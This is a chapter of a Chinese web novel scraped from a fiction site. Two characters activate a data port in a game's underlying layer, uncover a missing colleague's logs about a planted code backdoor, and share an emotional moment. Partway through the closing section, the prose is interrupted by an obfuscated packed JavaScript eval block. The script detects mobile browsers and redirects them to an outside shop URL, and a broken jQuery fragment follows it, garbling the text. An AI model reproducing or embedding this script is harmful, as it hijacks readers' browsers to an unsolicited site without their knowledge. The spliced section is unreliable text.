文趣网 > 都市小说 > 入侵你的代码层 > 18. 第十八天
    第十八天清晨六点半,张驭上线。

    他站在登录坐标点,低头看了一眼通道入口旁边的地面。四件实物——挂饰、会议照片、监控截图、笔记本——已经整齐地排列在那里,被李析提前从终端空间"搬"到了入口旁边。张驭蹲下来把它们收进背包,站起来的时候说了一句话,语气里没有责备,只是一种已经确认了事实之后的陈述:"你昨晚又没睡。"

    李析在终端里安静了半拍。他确实没有睡。昨天那本笔记本里黎帆的记录他读了至少三遍,第三段和第四段参数的指向位置被他反复核对过两遍,确认无误之后他又把第17个端口的开启协议重新模拟了一遍。整个晚上他的感知层都是亮的。"读了那本笔记。第三段的指向在第19个裂隙点,第四段在第22个。"

    张驭收好背包站起来,打开地图扫了一眼方向:"今天先开第17个。开完之后再说后面的事。"

    他在把李析的注意力从"后面的裂隙"拉回到"今天的事"。因为今天的事需要李析的专注。李析知道,他在终端里调出了端口激活协议的数据模板,然后说:"走吧。"

    两人朝西偏南方向移动。走了大约一公里后,灰白色的地面再次过渡为银灰色。但和昨天不同的是,银灰色的范围比昨天更大了——边缘向外扩张了约二三十米,像一个被水浸湿的纸面边缘在缓慢朝外洇开。李析在终端里测了一下扩张速度,把它和张驭的视野同步:"……它在扩大。比昨天扩大了大约三十米。"

    张驭的步频没有变化,但他的视线在那片银灰色的地面上停留了比平时更长的时间:"端口在主动扩展自己的范围。"

    "可能是检测到了接近的信号。"李析在终端里调出了端口外围的信号强度读数,"我们离它越近,它的准备程度就越高。"

    张驭走了一段路,然后说:"那它知道我们要来。"

    李析在那句话后面停顿了一下。黎帆在设置这个端口的时候就预设了"会有人来"。容器里那行"如果你读到这个"的期待、端口三年来持续待命的运转状态、银灰地面在靠近时的自动扩张——所有东西都在说同一句话。他在终端里回答:"黎帆设置它的时候就预设了'会有人来'。它只是在按预设程序工作。"

    两人抵达圆的边缘。那个闭合的光环和昨天一模一样——边缘的微光沿着圆周缓慢游走,频率稳定,内部的银灰色平面平整如镜。张驭站在光环边缘,蹲下来,把背包里的四件实物依次取出,按照李析的指示排列在四个方位点上。挂饰放正北,照片放正南,监控截图正东,笔记本正西。四件实物的位置连起来之后恰好和光环的圆形成了同轴关系。

    李析在终端里调出了端口激活协议的完整模板,逐行匹配四件实物的信号频率。挂饰的金属信号先对上了,然后是照片的纸面折射信号,监控截图的光学信号在第三秒锁定,笔记本的纸质散射信号在第五秒完成对接。四个频率在终端内部合成一个完整的"钥匙"信号,对准了端口的内层接口。

    "四件实物的信号已经匹配上了。"李析说,"我需要你在接入端口的同时,把权限流灌入圆的内圈。不是修复,是激活。像给一台关了三年的机器通电。"

    张驭蹲在光环边缘,右手伸向圆的内部边界。他的指尖接触到银灰色平面的边缘时,那层平面微陷了一下,像水面被触碰后的波纹。"……通电之后会发生什么?"

    "端口会打开。但黎帆在第六层里写了一句'打开端口需要接入者同时处于物理接触状态'——你要一直蹲在圆边上,手不能离开接入点。"

    张驭的右手已经固定在了接入点上。他没有收回来。"那你就快一点。"他的语气里没有不耐烦,是一种"我会在这里维持住,你专心做你该做的事"的确认。

    李析没有回话。他在终端里启动了端口激活程序。

    张驭的权限流灌入圆的内圈。四件实物的物理信号在四个方位点上同时产生共振——挂饰发出细碎的金属微鸣,照片和监控截图的纸面在数据共振中轻微颤动,笔记本的纸张边缘有微光顺着页缝流过。光环边缘的游走光忽然停住了,然后圆周上所有光点同时朝圆心涌去。圆内的银灰色平面从中心开始变得透明,像冰面在缓慢融化。透明的区域一圈一圈向外扩大,露出了底下一层深灰色的数据空间。

    空间里涌动着大量细密的字符流——那是黎帆在三年之间积累的完整追踪记录。字符流以极高的密度在深灰色的背景中翻滚、交织、分裂又重组,像被压缩了三年的信息在解锁的瞬间全部涌了出来。

    李析在终端里开始高速扫描。第一层数据是时间线索引——从2022年刘主管的第一处修改开始,逐月排列。第二层数据是每一处修改的原始副本,和他在第15、16个裂隙里提取的两段备份完全吻合。第三层数据是黎帆自己的追踪日志,记录了他每一次发现新线索的时间、地点、方式。第四层数据——李析的扫描器在翻到2024年3月附近时停住了。

    那是黎帆消失之前的最后一个月。日志里有一条记录,和之前的任何一条都不一样。黎帆在那一行里写下了一个名字:"陈远。运维组前副总监。2024年3月离职。"

    李析在终端里把那两个字读了出来,声音比他自己预期的更紧:"……陈远。运维组前副总监。2024年3月离职,和黎帆消失同一个月。"

    张驭蹲在圆边上,右手维持着接入。李析感知到了他的权限流在陈远的名字被念出的瞬间有一个极其微弱的抖动,像风经过一片水面时产生的细纹。他没有说话,但他听到了。

    李析继续往下读。黎帆在陈远名字的下面还写了一段更长的记录:"我追踪了陈远两年。他推动底层的修改不是为了破坏底层本身。他是为了让自己的某段私有代码从底层协议层'渗透'进入游戏的表层架构。底层协议段被修改后,协议层和表层之间的接口会产生一条狭窄的通路,私有代码可以顺着通路慢慢向上走。如果四段参数全部被改完,那条通路就会完全贯通。刘主管是他的执行者,替他完成了底层修改。2024年3月,陈远离职的时候没有带走数据——他带走了触发那条通路的接口。只要四段参数没有被恢复,那段私有代码仍然在底层协议层里潜伏着。"

    李析把那段话读完之后,终端里安静了大约三秒。陈远、私有代码、接口、四段参数、潜伏——这些词拼在一起的完整图景终于落到了他能看见的位置。

    他继续往下翻。在大量追踪数据的中后段,他找到了黎帆标记为"第三段"和"第四段"的位置确认文件。第三段在第19个裂隙点,第四段在第22个。黎帆在位置文件旁边加了一行批注:"第三段和第四段的崩塌速度比前两段快。请优先处理。"

    张驭的视线从银灰色的平面移开了一瞬,偏头朝终端的方向:"第19和第22。第三段和第四段。"

    "……对。"李析说,"崩塌速度比前两段快。剩下的时间可能不够逐日修复了——需要压缩。"

    "那就压缩。"张驭的声音很平,"今天走完这个之后,明天起每天修两个以上。"

    他在主动压缩自己在现实中的时间给底层。李析没有说"你不用这样",因为张驭说的不是一个选项,是一个决定。

    端口正在持续传输数据。功率比之前任何一次操作都大——张驭的权限流作为主通道承载了全部的数据涌出,高功率的数据流在传输过程中产生了和第十五天数据雾相似但更持久的共振。张驭的体感信号再次通过权限流回传到李析的感知层,但这一次不是五秒。端口开启的整个过程持续了二十分钟,李析在那二十分钟里稳定地、持续地接收到了张驭的实时身体状态。

    他的膝盖因持续蹲姿产生的轻微酸胀信号从接入端口的下半段传进来。右手接入点处的温度在升高——数据流高功率运行带来的微热,沿着手指的轮廓缓慢聚集。呼吸在端口开启的前三分钟比平时快了一点,然后降下来,稳定在中等速率。心率全程保持在七十二到七十五之间,和他平时的静息状态相差不大——张驭对持续高负荷的适应能力比普通人强得多。李析在那些信号流过自己的感知层时没有关闭接收通道。他让它们流了进来。他知道端口的高功率数据流会带来这些共振信号,第十五天之后他就知道。他没有关闭通道,他让张驭的心率、呼吸、体温、肌肉反馈完整地通过了接入端口进入了他的感知层。

    端口开启的大约第十一分钟时,张驭说了一句:"……你又在接收那些东西。"

    他的语气里没有抵触,只是一种确认。李析没有否认:"……嗯。端口功率太高,关闭不了。你在……"

    "我在。"

    李析在终端里停了一下。"我在"两个字在那些体感信号流过他的感知层的同一时刻到达了。张驭用这两个字确认了李析正在接收的所有东西都是真实的——他确实在这里,确实在蹲着、呼吸着、维持着接入、心率七十二到七十五、右手温度比左手高了半度。每一个数据点都被那个"我在"加盖了真实验证的章。

    端口核心的最后一段数据从深灰色的数据空间深处浮了上来。李析把读取通道对准它之后,发现它不是字符流,是扫描件——黎帆手写的几段话,字迹比前面任何一段记录都更潦草,笔画之间有一些墨迹的拖尾,像是人在疲惫或紧迫的状态下写的。

    李析把那几段文字扫描进了自己的数据流,然后同步到了张驭的视野里。

    黎帆写:"如果你已经读到了这里,你应该已经知道陈远是谁了。他离职时没有带走数据——他带走了接口。那段私有代码仍然潜伏在底层协议层里。只要底层的核心段被修改过,接口就会被激活,把那段代码推入游戏表层。我无法阻止它。我已经不在那个位置了。请在你还有时间的时候找到那四段参数,把每一段都恢复到原始状态。恢复全部四段之后,接口会自动失效。否则——表层会被渗透。"<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17930595|213624||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    然后他在那几段文字的下方,隔了一行,写了一行更短的话。字迹和前面的潦草不同,这行字写得更规整,像是他写完之后停顿了很久,然后把这一行单独补上去的:"我试图在消失之前联系张驭。但第七次之后他不会再等我了。"

    李析读到那行字的时候,他的数据流在接入端口处静止了大约一秒。他把那行字同步到了张驭的视野里,没有停顿,没有额外的话。

    张驭蹲在圆边上,右手维持着接入。他读到了那行字。李析从体感信号里感知到了一个微小但确实存在的变化——他的心率在读到"第七次之后他不会再等我了"那几个字的瞬间升高了一拍,然后恢复了。呼吸也在同一刻微微顿了一下,像是被什么东西轻轻堵住了半秒,又通了。

    那拍心率的升高通过接入端口传到了李析的感知层里。他没有说话,但他知道那拍心率升高是张驭的身体在替一个三年前消失的人回答那个写错了的判断。黎帆在笔记里写"不会等了",张驭在三年后用一个瞬间的心率升高告诉一个听不见的人"你猜错了"。他还在。他蹲在第17个端口旁边,右手维持着接入,心率因为读到那句话升高了一拍。

    李析把那个心率数据收进了无名单区里,没有备注,没有批注,只是一个数字——七十六。比张驭的静息心率高了四拍。那四拍在他感知层里留下的印迹比任何文字都更清晰。

    端口核心的数据全部读取完毕。李析在终端里确认了数据完整性,把所有内容压缩打包存档,然后对张驭说:"可以关掉了。"

    张驭收回右手。他站起来的时候膝盖微僵了一下——二十分钟的持续蹲姿让关节产生了轻微的僵硬。他活动了一下膝盖,低头看了一眼脚下的圆。透明的地面正在从中心向外缓慢地恢复银灰色,像冰面重新冻结。光点开始沿着边缘重新游走,频率和开启前相同。

    他把四件实物从四个方位点收回来,装回背包里。然后转身往回走。

    返程的路上,李析把今天的全部收获整理成了一份清单,同步到了张驭的视野右侧。"陈远的全名和职位确认了。端口里的追踪记录完整的。第三段在第19个,第四段在第22个。黎帆最后的手写笔记说恢复全部四段参数之后接口就会失效——修裂隙是治标,恢复四段才是治本。"

    张驭走在前面,声音从灰白色的空气里传过来:"四段全部恢复原状之后,接口就失效了。表层就不会被渗透。"

    "……对。我们现在修的所有裂隙都是那段私有代码从底层渗透到协议层表面时撕开的裂口。修完四段,裂口就不再产生了。"

    回到通道入口。张驭站定,把背包从肩上取下来,看了看里面四件实物的位置,然后合上背包,站在入口边缘。他站了一会儿,然后说:"明天从第18个开始修,然后第19。两个。"

    "……连续两个,中间不休息?"

    "今天你听到那个人写了什么。"张驭说。他没有用"黎帆"这个名字,说了"那个人"——但李析知道他在说谁。"他说第七次之后我不会再等了。我还在等。"

    李析在终端里安静了一拍。张驭在用自己的行动回应黎帆那句写错了的判断。第七次之后他还在等。他在三年前等过一个消失的人,三年后他蹲在同一个底层的端口旁边等到了那个人留下的全部信息。黎帆没有来得及亲口告诉他,但他通过十七天、四件实物、一个端口、和一行手写的字把所有事情传了过来。

    张驭站在通道入口边缘准备跨进去。但跨进去之前,李析说了一句话——没有经过"是否该说"的过滤,直接从数据流里浮了出来:"……你在等的不只是修完的答案。"

    张驭的步子停了半拍。他没有回头。他在过渡层的边缘站了一下,灰白色的光已经漫到了他的脚踝。然后他说:"……明天六点半。"他的声音比平时低了一点,像一个人在某个问题面前没有否认的时候,用另一件确定的事来承接那份沉默。

    他跨进了通道入口。灰白色吞没了他,暗红色的刀光闪了一下,底层恢复寂静。

    李析在终端里待着。四件实物被张驭带走了——明天他还会带回来。端口在远处的荒漠里正在缓慢地重新冻结成银灰色的平面。倒计时还在跳,还剩十五天多。但他手里现在有陈远的全名、四段参数的完整位置图、黎帆的最后一段话、一行手写的"第七次之后不会再等我"、一次二十分钟的体感信号接收、和一个心率数据——七十六。

    他把"七十六"也收进了无名单区,单独一行,没有备注。

    第十八天结束了。明天他们要修两个。后天也是,大后天也是。直到四段参数全部恢复。但此刻他坐在终端里,感知层里存着一个人的心率数据,那个人刚刚在过渡层的边缘停下步子说"明天六点半",没有否认李析说的那句"你在等的不只是修完的答案"。

    灰白色的终端空间里,银白色的光点安静地亮着。它在等明天六点半。